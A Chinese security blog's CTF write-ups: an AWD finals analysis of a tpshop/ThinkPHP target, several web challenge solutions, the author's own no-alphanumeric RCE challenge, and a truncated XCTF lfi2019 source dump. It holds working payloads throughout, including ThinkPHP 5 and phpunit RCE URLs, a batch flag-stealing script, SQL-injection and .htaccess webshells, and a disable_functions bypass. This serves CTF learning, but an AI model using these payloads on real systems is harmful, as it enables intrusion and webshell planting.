分类 CTF 下的文章

CTF,Web

introduction

有幸参与了祥云杯决赛,由于这次的AWD题目相对比较有意思,特此记录,线下AWD共放出2道Web环境,但由于其中一道不可抗拒的因素,在开始后不久就被主办方下线,所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方

第一个洞

首先用自己的AWD框架把源码下到本地,扔到D盾
图片.png
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

<?php

eval('?>' . file_get_contents('php://input'));

我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
图片.png

第二个洞

此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
图片.png
用网上公开的exp

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

并不能直接打成功,
图片.png
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
图片.png
图片.png

第三四五个洞

由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php

<?php
namespace app\home\controller; 
use think\Controller;
use think\Url;
use think\Config;
use think\Page;
use think\Verify;
use think\Db;
use think\Cache;
class Test extends Controller {
    
    public function index(){      
       $mid = 'hello'.date('H:i:s');
       //echo "测试分布式数据库$mid";
       //echo "<br/>";
       //echo $_GET['aaa'];       
         M('config')->master()->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('name');
       /*
       //DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']);
       $member = DB::name('member')->master()->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
       $member = DB::name('member')->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
    */   
//       echo "<br/>";
//       echo DB::name('member')->master()->where('mid','111')->value('name');
//       echo "<br/>";
//       echo DB::name('member')->where('mid','111')->value('name');
         echo C('cache.type');
    }  
    
    public function redis(){
        Cache::clear();
        $cache = ['type'=>'redis','host'=>'192.168.0.201'];        
        Cache::set('cache',$cache);
        $cache = Cache::get('cache');
        print_r($cache);         
        S('aaa','ccccccccccccccccccccccc');
        echo S('aaa');
    }
    public function dlfile($file_url, $save_to) {
            $ch = curl_init();  // 启动一个CURL会话
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch,CURLOPT_URL,$file_url);  // 要访问的地址
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $file_content = curl_exec($ch);  // 执行操作
            curl_close($ch);  // 关键CURL会话   
            $downloaded_file = fopen($save_to, 'w');
            fwrite($downloaded_file, $file_content);
            fclose($downloaded_file);
    }
    
    public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) {

        $m = mysqli_init();
        
        $conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport));
        $result = mysqli_query($m, $dbquery) or die(mysqli_error($conn));
        $data = mysqli_fetch_all($result, MYSQLI_ASSOC);
        var_dump($data);

        mysqli_close($m);

    }

    public function object_test($input) {
        $a = unserialize($input);
    }

    public function table(){
        $t = Db::query("show tables like '%tp_goods_2017%'");
        print_r($t);
    }
}

这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行

@round("http://172.20.5.1-30:6022")
def attack7(url):
    try:

        a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js")
        a = hh.http(url+"/public/js/jquery-1.10.3.min.js")
        flag =  a[2].strip()
        print "|"+flag+"|"
        submit_flag(flag)
    except Exception as e:
        print e
        pass
@round("http://172.20.5.1-30:6022")
def attack11(url):
    try:

        a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('\/flag');")

        flag = a[2].strip()
        flag = re.search(r"flag{.*?}",flag,re.S).group()
        print flag
        submit_flag(flag)
        print url
    except Exception as e:
        print e
        pass

mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。

反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了

第六个洞

<?php    
public function return_goods_list()
    {
        $where = " user_id=$this->user_id ";
        // 搜索订单 根据商品名称 或者 订单编号
        $search_key = trim(I('search_key'));
        if($search_key)
        {
            $where .= " and order_sn=$search_key";
        }
        $count = M('return_goods')->where($where)->count();
        $page = new Page($count,10);
        $list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select();
        $goods_id_arr = get_arr_column($list, 'goods_id');
        if(!empty($goods_id_arr))
            $goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name');
        $state = C('REFUND_STATUS');
        $this->assign('state',$state);
        $this->assign('goodsList', $goodsList);
        $this->assign('list', $list);
        $this->assign('page', $page->show());// 赋值分页输出
        return $this->fetch();
    }

很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported
图片.png

由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用

?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23

第七个洞

fetch函数文件包含

最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
图片.png

浏览runtime/temp/ma.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>

通过exp的url找到对应method

<?php 
public function header_cart_list()
    {
        $cartLogic = new CartLogic();
        $cartLogic->setUserId($this->user_id);
            $cart_result = $cartLogic->getUserCartList(0);
            if(empty($cart_result['total_price']))
                    $cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);
        
            $this->assign('cartList', $cart_result['cartList']); // 购物车的商品
            $this->assign('cart_total_price', $cart_result['total_price']); // 总计
        $template = I('template','header_cart_list');         
        return $this->fetch($template);         
    }

u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含

在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,

下面是官方对fetch函数的解释
图片.png
有点啰嗦,直接看源码吧。。

<?php   
    public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }

        // 模板不存在 抛出异常

        if (!is_file($template)) {
            
//            if(strstr($template,'pre_sell_list')){
//                header("Content-type: text/html; charset=utf-8");
//                exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
//            }
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);

    }

通过调试发现,上面代码4-7行,如果输入的参数无后缀,则

<?php
$template = MODULE_PATH.$template.".html"

也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtimetemp1.jpg
图片.png

当然这里绝路目录相对目录穿越目录及任意后缀都是可以的

summary

其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。

- 阅读全文 -
CTF,Web

easycon

直接给了一句话木马
登上去看了好久没找到flag
发现bbbbbb.txt比较可疑,创建时间和其他文件一样,应该是出题人故意留的
图片.png
图片.png
图片.png


base64解发现是jpg图片头,python解码写个文件

data = 'xxxxxxxxxxxxxx'
import base64

open("1.jpg","wb").write(base64.b64decode(data))

图片.png

BlackCat

这道题有点脑洞了,扫目录啥的没发现,最后发现是背景音乐hex打开最后有源码
图片.png

<?php


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

比较敏感,感觉是数组绕过,本地试了还真是,当传入White-cat-monitor为数组时,$clandestine结果是NULL,那接下来就好办了,只需要传入Black-Cat-Sheriff和One-ear,本地计算一下hash一样就可以弹shell了

Easyphp2

http://183.129.189.60:10025/?file=GWHT.php
题目一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器
http://183.129.189.60:10025/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码

<?php
    ini_set('max_execution_time', 5);

        if ($_COOKIE['pass'] !== getenv('PASS')) {
            setcookie('pass', 'PASS');
            die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
        }
        ?>

            <h1>A Counter is here, but it has someting wrong</h1>

                <form>
                        <input type="""hidden" value="GWHT.php" name="file">
                                <textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
                                        <input type="""submit">
                                            </form>

                                                <?php
                                                    if (isset($_GET["count"])) {
                                                        $count = $_GET["count"];
                                                        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
                                                            die('hacker!');
                                                        }
                                                        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
                                                            }
                                                            ?>


</body>

</html>

需要知道一个环境变量,读/proc/self/environ一直报错,用intruder模块跑pid
跑到/proc/27/environ成功读到pass为GWHT
图片.png
然后直接传cmd命令弹shell

easyphp

访问首页发现是审计题

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

大概意思,首先每次访问会删除除index.php以外的所有文件
然后两个简单正则校验,用户可以传入文件名和文件内容写入文件
但是写入文件的后面会加上换行Hello,World

尝试1

写入Webshell,发现不解析


图片.png
出现这种情况,一般是配置文件中不允许执行php文件,(这道题应该是只允许index.php执行)
图片.png
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
由于.htaccess优先度高于主配置文件
我们第一反应想到,我们先写.htaccess在写入一句话木马,但是由于题目在访问前后会删除其他所有文件,此路不通

尝试2

通过.htaccess的一种后门,自包含形式获取Webshell

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);

.htaccess可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
trick1: #符号是注释
但是由于题目会在尾部加一个nhello world,我们需要注释尾部的内容,否者服务端会报错500(.htaccess不允许脏字符)
trick2: 符号可以转义换行
百度了一下没有找到多行注释,但我们可以通过符号转义换行,将最后一行和倒数第二行变为一行,然后#全部注释

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
# \
Hello, world

然后因为上面对content进行了一些正则,我们还是可以通过绕过正则,最终exp

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_POST[1])?>
# \
Hello, world

Getshell后flag在根目录,readfile('/flag')即可

Break the Wall

一开始感觉是FFI,后面发现不是
然后觉得像宝塔那篇,通过PWN来绕过disable_function,
https://xz.aliyun.com/t/7990
不会pwn,溜了

EasyJava

Java垃圾,溜了

easyser

看了一会没思路,现在在护网已经2:30了,头好晕感觉要猝死了,睡了睡了

- 阅读全文 -
CTF

前言

本题是由于前期新手题放出来,有些能力比较强的师傅秒完题没题做,放出来拖拖时间给师傅们找点乐趣的。
难度并不大,都是考烂的知识点,不过由于就花了半个小时出题= =,结果大部分都和我想要的预期解不一样。
这里就说一下预期解

题目源码:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

非预期

发现大部分师傅的exp都是这个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

emmmmmm
应该大部分都是网上直接copy的,一摸一样,没得灵魂
原因还是因为我给的条件太宽泛了,其实预期解,是想让大家自己实现无文件RCE的
if(preg_match("/[A-Za-z0-9]+/",$code) ×

~~if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code) √

预期

我的exp:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

当然,这个exp需要php版本刚好为7.0,通过phpinfo就可以知道版本,大于小于这个exp都会失效,具体原因大家应该知道为什么(卖个关子

然后我们就可以在U-A头里面随意执行命令,蚁剑连上,准备拿flag
然而,我们发现 根目录的 /flag无法读取,很多人来问我为什么
其实看权限就能知道,/flag是没有权限读取的,打过CTF的都知道,一般这个时候,根目录会留一个/readflag来让ctfer 执行命令拿flag,/readflag会有一个s权限 Linux 文件权限与ACL

所以,我们必须RCE才能获取/flag

但是,phpinfo里ban了所有RCE函数,
图片.png

pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,ld,dl

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

后者这算我出题的一个小失误,但是我也没有实现动态靶机的能力,只能说心有余而力不足。
上面的github的链接就是本题的exp,原理也说了,工具怎么用,就看看上面的github,虽然没有达到我想要的预期,不过放在新生赛题目中,能看到有几个新生确实凭着自己能力,最终把这道题给做了出来,还是蛮欣慰了。
这个CTF题目比较偏pentest,在我之前的一次渗透中,就用到了这个方法RCE
https://evoa.me/index.php/archives/58/

end

题目环境不会关,除非我VPS过期 XD,想复现这个简单题目的师傅可以去复现一下 (溜

- 阅读全文 -
CTF

官方已放出源码
https://github.com/stypr/my-ctf-challenges/tree/master/XCTF_Finals_2019/lfi2019

前言

比赛打的很糟糕,太菜了,只会做这一道题,而且还是刚好考的知识点都了解,纯属运气,rp选手,其他题都是刘师傅C我,要开始闭关学习了
还有ROIS是真的强,做web跟喝水一样

源码

由于现在刚刚打完比赛,所以我把这道题完整的做题思路写出来,尽量保证跟我当时的想法一模一样(绝对不是凑字数

首先这道题放出来已经是第二天了,第一天我是0产出,很急,看到这个题的时候我也是没有想到能做出来,然而恰好思路对上了。

看题目,没有任何描述,只给了个网址,先访问网址,顺手抓包发现题目返回头给了个X-Hint,叫我访问这个路由
图片.png
打开后给了源码

 <?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
        <br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU --> 

思路

当时看到这又丑又长的代码,大致浏览一遍,得到的信息是,flag在flag.php文件中,然后有很多很奇怪的功能,比如session,还有两个类,214-231是核心代码,主要说了有两种访问方式,一种传get,会实例化get类,另一种传put,会实例化put类
然后因为final,要不惜一切手段找攻击面(除了py),于是我另一边开了dirsearch去扫,下面是扫描结果(有伏笔
图片.png
为了做题,我沉下气仔细的看了一遍代码,发现


class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }
protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }

这些还有session的逻辑好像都没什么用处,还有最下面的YouTube注释,我还去看了一下==
而且前几行按道理应该输出phpinfo,并且我把代码放到本地搭建了一下,发现输出了phpinfo,但是远程就不行(伏笔
暂且没管,由于代码有很多闲杂功能,我挑一下核心代码

 <?php

   @require('flag.php');
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
